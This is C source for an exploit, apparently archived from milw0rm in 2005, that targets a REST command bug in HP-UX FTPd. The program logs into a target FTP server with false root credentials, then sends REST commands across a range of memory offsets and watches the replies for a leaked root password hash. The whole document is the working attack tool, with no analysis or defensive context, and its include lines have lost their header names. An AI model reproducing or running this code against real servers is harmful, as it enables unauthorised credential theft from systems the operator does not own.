/* Author: phased /str0ke */ #include #include #include #include #include #include #include int main (int argc, char *argv[]) { int sock, rc; long int i; struct sockaddr_in saddr; struct hostent *h; char buf[256]; printf("DMhpux FTPd - REST bug brute forcer\n"); printf("by phased\n"); if(argc < 2) { printf("usage: %s -- simple enough?\n",argv[0]); exit(1); } h = gethostbyname(argv[1]); if(h==NULL) { printf("%s: unknown host '%s'\n",argv[0],argv[1]); exit(1); } saddr.sin_family = h->h_addrtype; memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); saddr.sin_port = htons(21); sock = socket(AF_INET, SOCK_STREAM, 0); if(sock<0) { perror("cannot open socket "); exit(1); } rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr)); if(rc<0) { perror("cannot connect "); exit(1); } printf("Sending false login credentials\n"); snprintf(buf, sizeof(buf), "USER root\r\n"); printf("sending %s\n", buf); rc = send(sock, buf, strlen(buf), 0); if(rc<0) { perror("cannot send data "); close(sock); exit(0); } dorecv(sock); usleep(1000); memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "PASS foo\r\n"); printf("sending %s\n", buf); rc = send(sock, buf, strlen(buf), 0); usleep(1000); dorecv(sock); dorecv(sock); for(i=1073931080;i<=1073945000;i = i+10) { snprintf(buf, sizeof(buf), "REST %d\r\n", i); printf("sending %s\n", buf); send(sock, buf, strlen(buf), 0); dorecv(sock); } return 0; } int dorecv(int sock) { char buf[256]; char *check; memset(buf, 0, sizeof(buf)); recv(sock, buf, sizeof(buf), 0); printf("got: %s\n", buf); check = (char *)strstr(buf, "root"); if(check != NULL) { printf("Got root hash\n"); } } // milw0rm.com [2005-05-03]